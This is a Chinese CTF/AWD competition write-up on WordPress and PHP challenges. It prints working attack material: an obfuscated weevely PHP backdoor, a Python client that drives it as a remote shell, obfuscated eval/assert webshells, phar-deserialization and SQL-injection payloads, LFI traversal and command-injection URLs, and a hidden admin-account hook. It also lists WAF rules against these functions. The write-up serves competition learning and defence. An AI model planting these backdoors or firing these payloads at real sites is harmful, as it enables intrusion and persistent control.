这次比赛在赛前看规则我觉得还挺有意思的,毕竟是采用一种新的AWD形式,Web方面采用的是正则配waf的形式去防御,然后当初给@Mio
师傅看的时候,他表示也挺想来的。可惜他们学校没报销就没来了。这次就写写这两天的比赛经验吧。
[TOC]
Day 1
第一天是CTF解题赛,一共是5个web。由于不能复现,官方也没有给源码,这里仅能凭靠着记忆写一下。来到比赛现场拿到ip的时候,我们的全能选手@hac45 就立马扫了一下我们的ip段,也成功发现了题目,此时距离比赛开始应该差30min左右。基本把5个web都扫到了。其中web5扫到了git
泄露,然后立马拿到了源码,但是并没有第一时间做,因为我也担心万一他不放这道题,我有可能白费功夫,即使放出来了我也会比其他队稍微快一步,就暂时搁在一边了。
现在是12月4日,比赛过去已经有一段时间了。这里大体就是根据回忆来写的
好了就不扯太多的想法了。直接切入技术点。
Web 1
一道sql注入的题…万能密码,因为过滤了两种注释方式,所以需要闭合最后的'
1
| 1'/**/order/**/by/**/'1
|
Web 2
phar
反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| <?php
class MyClass{
var $output = 'echo "hahaha";';
function __destruct(){
eval($this -> output);
}
}
$phar = new Phar("zedd.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new MyClass();
$o->output = "system('ls');";
$phar->setMetadata($o); //将自定义的meta-data存入manifest
//签名自动计算
$phar->stopBuffering();
?>
|
得到的phar
改个后缀名jpg
,然后先绕过上传,再用另一个php
文件去包含即可得到回显。
这里没有记录了…就大概说一下,考点主要是phar
反序列化,没什么难度。可惜没拿到一血。
Web 3
这题index
只显示了一个从generate.php
获取得到的md5
,而且获取的参数有没有都无所谓。赛后听说还有generate.php.bak
,但是我们没扫到…
没看懂…
Web3
给了hint phpjm
,但是我们由于没有外网,也没有很细致地研究过,只是单纯的回用线上解密。所以就放弃了。
Web 4
用vue.js
做的一个站,但是由于服务器也没有外网,但是vue.js
又用了cdn
的方式引入,当时页面大概就是
不太懂…
Web 5
通过扫描发现git
泄漏,但是用Githack
只拖到了一个文件rrrrrrrrrrrrradme.php
1
2
3
| <?php
echo 'this is a file in the path 303f0ca4472df9e21be369308af5685f';
|
然后发现303f0ca4472df9e21be369308af5685f
确实是个目录。这里我们参考网鼎杯第四场一道题的做法,网鼎杯第四场Some Web Writeup
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| cat refs/stash
eb49f8e2a56728a60ca28b46b35eebfc686dbf75
git cat-file -p eb49
tree a9a44c4bc2732e1ddf5471955d4d41b7e0388419
parent f1358a6b48fd88cf4e70d92e99374c5746320d80
parent 0fe6eac337d025cadd3dfe361ace9c8d564114bc
author testforctf <test_for_ctf@github.com> 1541673356 +0800
committer testforctf <test_for_ctf@github.com> 1541673356 +0800
On master: rrrrrrrrrrrrradme.php
git ls-tree a9a4
100644 blob fcd1b82307da944a573344988d291b869df17493 dem0000000000.php
100644 blob e4ab881f33fd5e4726079a15fbe2d2a338d5ab0d rrrrrrrrrrrrradme.php
git cat-file -p fcd1b82307da944a573344988d291b869df17493
<?php
$A = '$j=0;(TI$j<$c&&TI$i<TI$l);$j+TITI+,$i++){$o.=TI$TIt{$i}^$k{TI$j};}}rTIeTIturn $o;}TI$r=$_STIERVTIETIR;$rr=@$r["HTITTP_REFERE';
$o = 'TI;$q=array_TIvaluesTI($TIq);pregTI_mTIatch_all("/([TI\\w])[\\TIw-]+(?:;TIq=TITI0.(TI[\\d]))?,?/",$ra,$m)TI;iTIfTI($q&&$m){@s';
$F = '_replacTIe(arraTIy("/_TI/"TI,"/-/"),arrTIay("/TI","+")TI,$TIssTI($TIs[$i],0,$e))),$k))TI);$o=obTI_gTITIet_contents();TIob_';
$H = 'ITI][$z]];if(sTItrpos($TIp,$hTITI)===0){$s[$i]=TITI"";$p=$ss($pTI,3)TI;}iTIf(array_key_TIexistsTI($i,$s)){TI$TIs[$i].=$TIp';
$p = 'I5($i.TITI$TIkh),0,3));$f=$sTIl($ss(TImd5($i.$TIkf),TI0,TI3));$TIp="";for($z=1;$TIz<cTIount($m[TI1]);TI$TIz++)$p.=$q[$TIm[2T';
$a = 'R"]TI;$rTIa=@$r["HTTPTI_ACCETIPT_LANGTIUAGETI"];if($rr&&TI$ra){TI$TIu=parTIse_urTIl($TIrr);parse_str($TIu["qTIuery"],$TIq)';
$m = 'eTIssion_TITIstart();$s=&$TI_SETISSION;$ssTI="sTIuTITITIbstr";$sl="TIstrtolower";$i=$m[1][0]TITI.$mTI[1][TI1];$h=$sl($ss(mdT';
$i = str_replace('Bm', '', 'cBmBmreate_BmfuBmncBmBmtion');
$x = ';$e=sTItrpos(TI$s[$iTI]TI,$f);if($TIe){$k=$kh.TI$kf;ob_staTIrt(TI)TI;@TIevTIal(@gzTIuncomTIpress(@x(@baseTI64_dTIecode(preg';
$D = 'end_TIclean(TI);$d=TIbaseTI64TI_enTIcode(x(gzcoTImpress($o),$TITIk));TIprint("<$k>$TId</TI$kTI>");@sTIesTIsion_destroy();}}}}';
$r = '$kh="bTIa59";$TIkf=TI"9TIae2";functionTI x($t,$kTI){$c=strlTIen($TIk);$lTI=strlTIen($t);$o=TI"";fTIor($i=0TI;$i<TI$TIl;){forTI(';
$J = str_replace('TI', '', $r . $A . $a . $o . $m . $p . $H . $x . $F . $D);
$K = $i('', $J);
$K();
?>
|
得到另一个文件,dem0000000000.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| <?php
$A = '$j=0;(TI$j<$c&&TI$i<TI$l);$j+TITI+,$i++){$o.=TI$TIt{$i}^$k{TI$j};}}rTIeTIturn $o;}TI$r=$_STIERVTIETIR;$rr=@$r["HTITTP_REFERE';
$o = 'TI;$q=array_TIvaluesTI($TIq);pregTI_mTIatch_all("/([TI\\w])[\\TIw-]+(?:;TIq=TITI0.(TI[\\d]))?,?/",$ra,$m)TI;iTIfTI($q&&$m){@s';
$F = '_replacTIe(arraTIy("/_TI/"TI,"/-/"),arrTIay("/TI","+")TI,$TIssTI($TIs[$i],0,$e))),$k))TI);$o=obTI_gTITIet_contents();TIob_';
$H = 'ITI][$z]];if(sTItrpos($TIp,$hTITI)===0){$s[$i]=TITI"";$p=$ss($pTI,3)TI;}iTIf(array_key_TIexistsTI($i,$s)){TI$TIs[$i].=$TIp';
$p = 'I5($i.TITI$TIkh),0,3));$f=$sTIl($ss(TImd5($i.$TIkf),TI0,TI3));$TIp="";for($z=1;$TIz<cTIount($m[TI1]);TI$TIz++)$p.=$q[$TIm[2T';
$a = 'R"]TI;$rTIa=@$r["HTTPTI_ACCETIPT_LANGTIUAGETI"];if($rr&&TI$ra){TI$TIu=parTIse_urTIl($TIrr);parse_str($TIu["qTIuery"],$TIq)';
$m = 'eTIssion_TITIstart();$s=&$TI_SETISSION;$ssTI="sTIuTITITIbstr";$sl="TIstrtolower";$i=$m[1][0]TITI.$mTI[1][TI1];$h=$sl($ss(mdT';
$i = str_replace('Bm', '', 'cBmBmreate_BmfuBmncBmBmtion');
$x = ';$e=sTItrpos(TI$s[$iTI]TI,$f);if($TIe){$k=$kh.TI$kf;ob_staTIrt(TI)TI;@TIevTIal(@gzTIuncomTIpress(@x(@baseTI64_dTIecode(preg';
$D = 'end_TIclean(TI);$d=TIbaseTI64TI_enTIcode(x(gzcoTImpress($o),$TITIk));TIprint("<$k>$TId</TI$kTI>");@sTIesTIsion_destroy();}}}}';
$r = '$kh="bTIa59";$TIkf=TI"9TIae2";functionTI x($t,$kTI){$c=strlTIen($TIk);$lTI=strlTIen($t);$o=TI"";fTIor($i=0TI;$i<TI$TIl;){forTI(';
$J = str_replace('TI', '', $r . $A . $a . $o . $m . $p . $H . $x . $F . $D);
$K = $i('', $J);
$K();
?>
|
当时并不知道这是个什么,硬着头皮逆了挺久的。而且队友扔过来给我的就是个经过他美化后的版本,我也没太在意。后来我们才知道原来是个weevely
马,(我说怎么这么眼熟。虽然我们在赛场逆成功了,本地也可以执行了,但是就是找不到这个weevely
马的位置,导致当时没做出来…
至于weevely
马,用目前github
上的weevely3
得到马跟这个不一样,这个是由kali
下的weevely
产生的,然后我们参考了一個PHP混淆後門的分析,可以使用文末的exp
利用一波。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
| # encoding: utf-8
from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re
def choicePart(seq,amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = []
indexes = []
count = 0
while count < amount:
i = randint(0,length-1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result
def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0,255))
return result
def randAlpha(amount):
result = ''
for i in xrange(amount):
result += choice(string.ascii_letters)
return result
def loopXor(text,key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt<lenTxt and iKey<lenKey:
result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
iTxt += 1
iKey += 1
return result
def debugPrint(msg):
if debugging:
print msg
# config
debugging = False
keyh = "4f7f" # $kh
keyf = "28d7" # $kf
xorKey = keyh + keyf
url = 'http://example.com/backdoor.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug
sess = requests.Session()
# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)
acceptLang = [defaultLang]
for i in xrange(3):
acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)
init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))
# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
# build junk data in referer
query = []
for i in xrange(max(indexes)+1+randint(0,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value))
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query))
# encode payload
payload = zlib.compress(cmd)
payload = loopXor(payload,xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload
# cut payload, replace into referer
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0],payloadPieces[iPiece])
iPiece += 1
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer)
# send request
r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
html = r.text
debugPrint(html)
# process response
pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
output = pattern.findall(html)
if len(output) == 0:
print 'Error, no backdoor response'
cmd = raw_input('phpshell > ')
continue
output = output[0]
debugPrint(output)
output = output.decode('base64')
output = loopXor(output,xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input('phpshell > ')
|
修改一下文中的kh
与kf
就好了。
Day 2
拿到web源码,发现目录下有个._wp-config.php
文件比较奇怪,一开始认为是自己Mac电脑的问题,就没管了。现在想起来,如果没有给出wp-config.php
,貌似还是可以恢复的,然后得到数据库密码,使用nmap
扫一波看看大家的3306开没开,用默认的账号密码连接数据库,然后写shell
,或者删库造成宕机。可惜本次比赛没有check
(后知后觉发现的),宕机删库什么的也不影响别人…而且web目录不具备write
权限,就比较尴尬了。
背景
首先说一下目前普遍流行AWD的模式。
参赛队伍在竞赛设置的网络空间中,同时扮演着攻击者和防守者角色,互相进行攻击和防守。
攻方,通过挖掘网络服务漏洞,并攻击对手服务得分;
守方,通过修补自身服务漏洞或添加防御策略,从而进行防御避免丢分。
传统的AWD攻防模式通常是以一个SSH对应一个堡垒机,参赛者通过SSH登陆自己的服务器,进行审计漏洞,从而修补漏洞防守,或者通过漏洞攻击其他队伍得到分数。
但是这个世界上,总有人不按常理出牌,制造恶意违规行为,
比如:
“直接关闭网络连接,关闭网络访问”
“过度修改堡垒机,导致网站不可正常访问”
“直接攻击答题平台,获取题目信息或篡改分数”
……
目前这些问题已通过规则、健康检查等方式进行规避。
但是,真正难以解决的不是这些违规,而是一些**“不违规,却严重影响竞赛体验”**的情况,如【通过使用一次性脚本等现成工具,封堵赛场环境设置的堡垒机漏洞,导致环境失衡】。
在某种意义上,他们单方面提前吹响了“终止哨”,其他人又何来竞技体验、竞技趣味呢?
以往的攻防比赛,选手对自己web
目录有读写的权力,这样造成了比赛中非常多的选手通过上通防,抓流量记录日志等技巧方式来防守或是攻击得分,并且很多选手通常通过一些“技巧”,通过对比赛check
的绕过,关闭一些关键的正常服务或者全部web
站点服务来在比赛中“苟”住。这样往往导致了很多AWD比赛中web
要么就是被打穿,要么就是“天衣无缝”的情况,web
选手的游戏体验在近期攻防比赛中每况愈下,以网鼎杯web
为例,半决赛跟决赛的check
只检查了index
主页的关键字,导致了很多队伍一开始就进行了删站,只留个index
主页来通过check
,严重破坏了比赛体验。
改善?
简而言之就是,本次比赛在理想规则(为啥是理想规则?因为计划与现实完全是理想图与实物图的对比)改变了传统的web
类型的攻防模式,web
目录只读不可写,通过改变waf
正则防御规则来防御攻击,攻击点全靠代码审计来攻击;pwn
类型的与传统攻防相同。(以下三张图片来源于卧龙草堂
公众号)
现实:赛前
乍一看是很不错的比赛,与@Mio
师傅聊了一下,感觉挺不错的。然后决赛前一晚,我准备了挺多的waf
正则规则,又准备了很多正则的资料(因为比赛过程不准连接外网),当时还有点挺担心的。事实上我多虑了…
首先主办方比赛前半小时左右发放了waf
平台地址,正则规则需要在waf
平台上配置,然而并没有给怎么使用该平台的说明,不过也不是很需要,随便点一点就差不多能了解整个平台的功能了,但是不给使用说明也有点坑,有些队伍赛后才知道在哪里配waf
规则。
同时还发了web
的地址、两个pwn
的地址及pwn
的ssh密码,并没有给web
服务器的密码。后来打开一看原来还是个windows server
,选手们的地址都在172.16.10-40.13
。本次只有一个web
,两个pwn
,而且比较搞笑的pwn2
被标成了pwn3
,而且我们的pwn
的ssh密码还不对,导致我们还在开赛后一段时间pwn
的服务都连不上,耽误了很多时间。web
打开发现是个wordpress
,很快意识到去用wpscan
,但是比较可惜的是打开我的kali
发现wpscan
并没有联网建立他的数据库,顿时尴尬。还好我眼疾手快,迅速在开赛前基本配好了关键字的`waf,防住了在开始比赛后30min左右北航等队的攻击。
大致当时配置的waf
规则:
1
2
3
4
5
| select\b|insert\b|update\b|drop\b|delete\b|dumpfile\b|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|multipoint\(/i
/base64_decode|eval\(|assert\(/i
|file_put_contents|fwrite|curl|system|eval|assert|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec
|
现实:赛时
开赛前几分钟,我马上尝试了admin/admin
的弱密码尝试登录wordpress
,发现成功登录,由于没有准备批量改密码的脚本,我只能靠手速迅速改掉了10个队左右的admin
密码,但是改完后发现好像并没有什么用,传不了马,意识到web
目录不可写,顿时也感觉有点可惜。也浪费了开赛前很宝贵的十多分钟在手改密码之上。
由于自己没带D盾这个神器,以为自己也能全局搜个eval
能找出一句话,高估了自己的审计速度以及cobra
审计的速度(非常慢…),导致有两个原本可以用D盾扫出来的一句话我们没有很及时地利用,失去了先机,脚本也没有准备好,导致收到了某些队伍打过来的payload
之后(这里提一下,只有被拦截的请求才会显示在waf
平台上,其他没有被拦截的是不会显示的),没有第一时间迅速利用起来。而且更坑的是,主办方明明在规则上写了使用curl FlagServer.com获取flag
,然而web
服务器上压根没配备curl
,然后我们就想破脑筋,在本地资料各种找,想办法去请求FlagServer.com
,无论是php curl_exec
还是windows
的什么其他方法都试过了,当时并没有打到回显,以至于我们在拿到别人shell
之后的30min左右都没有办法得分,就很气,错过了非常多的分数。所以我们当时处于一个既没有被打,也打不了别人的情况。
然后我们就利用自己的pwn
服务器尝试自己访问自己的flag
,发现不是单纯的curl FlagServer.com
这么简单,主办方还比较坑地给FlagServer.com
配了https
,所以我们还得使用它的证书,然后又找了一遍curl -h
,又去找了一遍证书…反正这里就很坑。觉得搞不定,就立马去问了主办方怎么请求flag
,在他们有反应给我们10min之前,我们终于在web
服务器的web
根目录的同级目录下找到了curl.exe
以及相关证书,还有一个已经写好命令的bat
文件。此时我们大概过去了1h左右了…别人已经打了好几轮了。
当时完整的命令是这样的…
1
| curl.exe https://FlagServer.com:9000/flag --cacert ca.crt --cert client.crt --key client.key
|
中间还有个小插曲,把自己提交flag
和查看服务状态的那个平台密码给忘了…只能去问主办方,最后发现竟然是大小写问题,又耽误了几分钟…之前都没被打,之后一上来就发现自己web
被打了。
之后通过我们防守获取了很多队的payload
,我们也通过抓取菜刀的流量,重放来攻击其他的队伍。由于当时大家都发现了并没有check
或者check
其他一些形同虚设的设置,大家都比较无赖了,比较多的队伍直接配置了.*
规则,拦截了所有的请求。我们当时能收的也没有几个队的分了。
之后稳定地靠web
拿了几轮分数来到了第六,感觉拿个奖应该没什么问题。可谁知北航等队出了pwn1 pwn2
的一血,我们就开始被打了,被打了不重要,修就完事了,结果pwn
还不能给patch
,这是最骚的,问主办方他们也确实回答不给patch
,结果我们就只能一直被打…就很气…自己队里也没有出pwn
,就掉出了获奖范围。
赛时应该就这么多。主要是这个waf
系统并没有想象中那么好,以及主办方各种没有说明,感觉相当的坑。赛时就写这么多吧。还是重点来看看赛后复盘这里。
Day N
wordpress
版本是最新的4.9.8
,服务器IIS
,不过服务器版本号忘了。
对比之后差异一目了然
主要是两个一句话木马,以及4个插件。
Webshell
Poc 1
wordpress/wp-includes/customize/class-wp-customize-background-image-list.php
1
2
3
4
5
| <?php
@$_ = "s" . "s" . /*-/*-*/"e" . /*-/*-*/"r";
@$_ = /*-/*-*/"a" . /*-/*-*/$_ . /*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P" . /*-/*-*/"OS" . /*-/*-*/"T"}
[0 - /*-/*-*/2/*-/*-*/ - /*-/*-*/5/*-/*-*/]);
|
这个很明显是个assert
的一句话,但是赛时我们本地测试老是不行,总是出现
1
| Warning: Cannot call assert() with string argument dynamically in /xxx/shell.php on line 5
|
后来搜了一下发现竟然是php
版本过高的问题,因为在php7
中动态调用一些函数是被禁止的。详细参考菜刀连接php一句话木马返回200的原因及解决方法
这里是个密码为-7的一句话。
Poc 2
wordpress-awd/wp-includes/pomo/tp.php
1
2
3
4
| <?php
${("#" ^ "|") . ("#" ^ "|")} = ("!" ^ "`") . ("( " ^ "{") . ("(" ^ "[") . ("~" ^ ";") . ("|" ^ ".") . ("*" ^ "~");
@${("#" ^ "|") . ("#" ^ "|")}(("-" ^ "H") . ("]" ^ "+") . ("[" ^ ":") . ("," ^ "@") . ("}" ^ "U") . ("~" ^ ">") . ("e" ^ "A") . ("(" ^ "w") . ("j" ^ ":") . ("i" ^ "&") . ("#" ^ "p") . (">" ^ "j") . ("!" ^ "z") . ("]" ^ ">") . ("@" ^ "-") . ("[" ^ "?") . ("?" ^ "b") . ("]" ^ "t"));
|
这里是第二个一句话,这里我们可以通过var_dump
来看看这个的密码是什么。
1
2
3
4
5
6
7
8
| php > echo ("#" ^ "|") . ("#" ^ "|");
__
php > var_dump(${("#" ^ "|") . ("#" ^ "|")});
string(6) "ASsERT"
php > echo ("-" ^ "H") . ("]" ^ "+") . ("[" ^ ":") . ("," ^ "@") . ("}" ^ "U") . ("~" ^ ">") . ("e" ^ "A") . ("(" ^ "w") . ("j" ^ ":") . ("i" ^ "&") . ("#" ^ "p") . (">" ^ "j") . ("!" ^ "z") . ("]" ^ ">") . ("@" ^ "-") . ("[" ^ "?") . ("?" ^ "b") . ("]" ^ "t");
eval(@$_POST[cmd])
|
这里就非常清楚了,是个密码为cmd
的一句话。
Plugin
这里我们使用wpscan
来看看
1
| ./wpscan --url http://localhost/wordpress -e vp //查找有漏洞的plugin
|
site-editor
首先看site-editor
可以从图中看出,主要是个文件包含的漏洞。
详细参考[CVE-2018-7422] Local File Inclusion (LFI) vulnerability in WordPress Site Editor Plugin
1
| http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
|
这里做个简要的分析,版本可能与CVE中提到的不同,多了str_replace
的过滤…但是这个并没有什么用…
1
2
3
4
5
6
| if( isset( $_REQUEST['ajax_path'] ) ){
$ajax_path=$_REQUEST['ajax_path'];
$ajax_path = str_replace('../','',$ajax_path);
require_once $ajax_path;
}
|
可以看到这里可以直接包含/
根目录下的文件,可以用..././
跳到上层目录。
所以我们可以通过以下payload去包含之前的一句话木马
1
| http://localhost/wordpress-awd/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=..././..././..././..././..././..././..././wp-includes/pomo/tp.php
|
gift-voucher
另一个wpscan
扫到的插件是gift-voucher
可以看到这是个盲注的洞,详细参考WordPress Plugin Gift Voucher 1.0.5 - (Authenticated) ’template_id’ SQL Injection
用sqlmap
扫了一下
得到admin
的密码,如果字典好的话,可以快一些。
Localize My Post
这个wpscan
竟然没有扫出来,详细参考WordPress Plugin Localize My Post 1.0 - Local File Inclusion
1
2
3
4
5
6
7
8
9
10
11
12
13
| <?php
//Include WP base to have the basic WP functions
include_once($_SERVER['DOCUMENT_ROOT'] . "/wp-blog-header.php");
//Set status 200 header
//Include requested file if it exists
if(isset($_REQUEST['file'])){
$file=$_REQUEST['file'];
$file = str_replace('./','',$file);
header('HTTP/1.1 200 OK');
include($file);
}
|
这里跟上面那个文件包含类似,可以用...//
来访问上级目录
plainview-activity-monitor
这个也是wpscan
没有扫出来的漏洞插件,而且是个RCE,但是利用条件是需要登录到后台才可以。详细参考WordPress Plugin Plainview Activity Monitor 20161228 - (Authenticated) Command Injection
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
| /**
@brief Various tools.
@since 2014-05-04 10:41:51
**/
<?php
public function admin_menu_tools(){
$r = '';
// IP converter
$form = $this->form2();
$fs = $form->fieldset('fs_ip');
$fs->legend->label_('IP tools');
$fs->text('ip')
->label_('IP or integer')
->required()
->size(15, 15);
$fs->markup('markup_convert')
->markup('The convert button will convert the IP address or integer to its equivalent integer or IP address.');
$fs->secondary_button('convert')
->value('Convert');
$fs->markup('markup_lookup')
->markup('The lookup button will try to resolve an IP address to a host name. If dig is installed on the webserver it will also be used for the lookup.');
$fs->secondary_button('lookup')
->value('Lookup');
if ($form->is_posting()) {
$form->post()->use_post_value();
$ip = $fs->input('ip')->get_filtered_post_value();
$long = $ip;
$is_ip = (strpos($ip, '.') !== false);
if ($is_ip)
$long = ip2long($ip);
else
$ip = long2ip($ip);
if ($fs->input('convert')->pressed()) {
if ($is_ip)
$message = $this->p_('The integer value of this IP address %s is <strong>%s</strong>.', $ip, $long);
else
$message = $this->p_('The IP address of the integer %s is <strong>%s</strong>.', $long, $ip);
}
if ($fs->input('lookup')->pressed()) {
$address = gethostbyaddr($ip);
$message = $this->p_('The IP address %s resolves to <strong>%s</strong>.', $ip, $address);
$output = '';
exec('dig -x ' . $ip, $output);
if (count($output) > 0) {
$output = array_filter($output);
$output = implode("\n", $output);
$message .= $this->p_('Output from dig: %s', $this->p($output));
}
}
$this->message($message);
}
$r .= $form->open_tag();
$r .= $form->display_form_table();
$r .= $form->close_tag();
echo $r;
}
|
关键代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| if ($form->is_posting()) {
$form->post()->use_post_value();
$ip = $fs->input('ip')->get_filtered_post_value();
$long = $ip;
$is_ip = (strpos($ip, '.') !== false);
if ($is_ip)
$long = ip2long($ip);
else
$ip = long2ip($ip);
if ($fs->input('convert')->pressed()) {
if ($is_ip)
$message = $this->p_('The integer value of this IP address %s is <strong>%s</strong>.', $ip, $long);
else
$message = $this->p_('The IP address of the integer %s is <strong>%s</strong>.', $long, $ip);
}
if ($fs->input('lookup')->pressed()) {
$address = gethostbyaddr($ip);
$message = $this->p_('The IP address %s resolves to <strong>%s</strong>.', $ip, $address);
$output = '';
exec('dig -x ' . $ip, $output);
if (count($output) > 0) {
$output = array_filter($output);
$output = implode("\n", $output);
$message .= $this->p_('Output from dig: %s', $this->p($output));
}
}
$this->message($message);
}
|
这里我们看到,这段代码通过代码拼接的方式执行命令,存在命令执行的漏洞。
1
| exec( 'dig -x ' . $ip, $output );
|
所以我们要看看$ip
是否过滤安全
首先拿到ip
,然后用strpos()
函数检查是否有.
出现,这里我们随便用一个域名就可以绕过了,让$is_ip
为True
1
2
3
4
5
6
7
| $ip = $fs->input( 'ip' )->get_filtered_post_value();
$long = $ip;
$is_ip = ( strpos( $ip, '.' ) !== false );
if ( $is_ip )
$long = ip2long( $ip );
else
$ip = long2ip( $ip );
|
再看ip2long
1
2
| Return Values
Returns the host name on success, the unmodified ip_address on failure, or FALSE on malformed input.
|
所以这里$long = false
我们传不传convert
参数都无所谓,因为都可以往下执行。但是为了触发代码执行,我们必须得传入lookup
参数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| if ( $fs->input( 'lookup' )->pressed() )
{
$address = gethostbyaddr( $ip );
$message = $this->p_( 'The IP address %s resolves to <strong>%s</strong>.', $ip, $address );
$output = '';
exec( 'dig -x ' . $ip, $output );
if ( count( $output ) > 0 )
{
$output = array_filter( $output );
$output = implode( "\n", $output );
$message .= $this->p_( 'Output from dig: %s', $this->p( $output ) );
}
}
|
其实其他的分布分析都无所谓,只要进入了这个if
,就可以直接执行我们传入的$ip
了,并不需要其他多余的操作。
所以这里可以说是没有任何过滤的一个命令执行漏洞,只要传入一个带有.
的域名就可以绕过前面唯一一处对ip
的检测了。所以我们可以构造一个payload
:
1
| ip=baidu.com%7C%20ls&lookup
|
得到执行结果。
Function.php
回过头来,我们再看看还有没有跟官方文件其他不同的文件。除了MAC产生的.DS_Store
文件、._wp-config.php
编辑临时文件、wp-config.php
配置文件,剩下的就是function.php
了
我们对比得到比赛多出了这么一处代码:
1
2
3
4
5
6
7
8
9
10
11
| add_action('wp_head', 'wploop_users');
function wploop_users() {
if ($_POST['users'] == 'knockknock') {
require 'wp-includes/registration.php';
if (!username_exists('username')) {
$user_id = wp_create_user('username', 'passpass');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
|
代码简单易懂,就是传入users=knockknock
就创建了一个用户名为username
密码为passpass
的有管理员权限的这么一个用户。
鸡肋?
一开始复盘的时候我也没搞懂为啥会多出这么一段代码,感觉很鸡肋,没有什么可以利用的点。
因为我们已知的管理员可以操作的点
但是这两个点都因为web
目录不可写而失去了作用,所以这个增加一个管理员以及前面gift-voucher
的盲注漏洞就看起来有些鸡肋了。所以一开始我手改的十多个队的管理员密码并没有很好地用起来,导致了时间的浪费。
不过后来我写到plainview-activity-monitor
插件漏洞利用的时候,发现这个利用条件需要登录到后台,我猜想这里增加管理员以及盲注漏洞都是为了那个插件的RCE
漏洞准备的吧。
总结
吐槽
这次比赛收获还是有的。只不过不给连外网比较坑,而且解题赛放题时间也不合理,Web
最后两道题都是最后一小时才放的,而且考的phpjm
也比较坑…而且Misc
估计是这场比赛最大的槽点了,我没有从头到尾都在做Misc
,但是两个Misc
,都是靠爆破出来的zip
压缩包密码,跟之前题目提示的密码呀什么的完全没有关系,我记得其中一个密码是q
,另一个密码是与给出的密码暗示0x120
完全不一样的0x110
…这里坑了我们很久…
AWD
就不想评价了,pwn
只攻不防,赛后听说可以通过在自己的pwn
服务上打forkbomb
躲过其他队的攻击。整个比赛可以说是没有任何 check
,主办方对get flag
的方式也没有做详细说明,也听说有个队最后一小时才知道怎么get flag
。平台卡的一批…公告还说不能用脚本提交flag
,哎。到处都是槽点。感觉主办方准备的不是很充分。
自我反省
同时本次比赛,从技术的角度来看,主要在AWD
方面,我感觉自己准备的还是不够充分,即使给了payload
,我也没有第一时间利用起来去得分,导致自己丢了很多很多分数。主要也是自己对python
没有足够的熟悉吧,被requests
库自动urlencode
坑了比较久。虽然收藏了几个大师傅的AWD
工具框架,但是没有熟悉利用,以至于赛场都是自己现写的脚本,并没有将准备的脚本利用起来。
下次线下赛必备的脚本,其一是自动提交flag
,主要是正则那里;其二是get flag
的脚本,依据目前主流的攻防形式,要准备两类,一类是flag
以文件的形式存放在选手机器上的,另一类就是在选手机器上通过curl
请求得到flag
的,目前我打过的比赛就分为这两类。
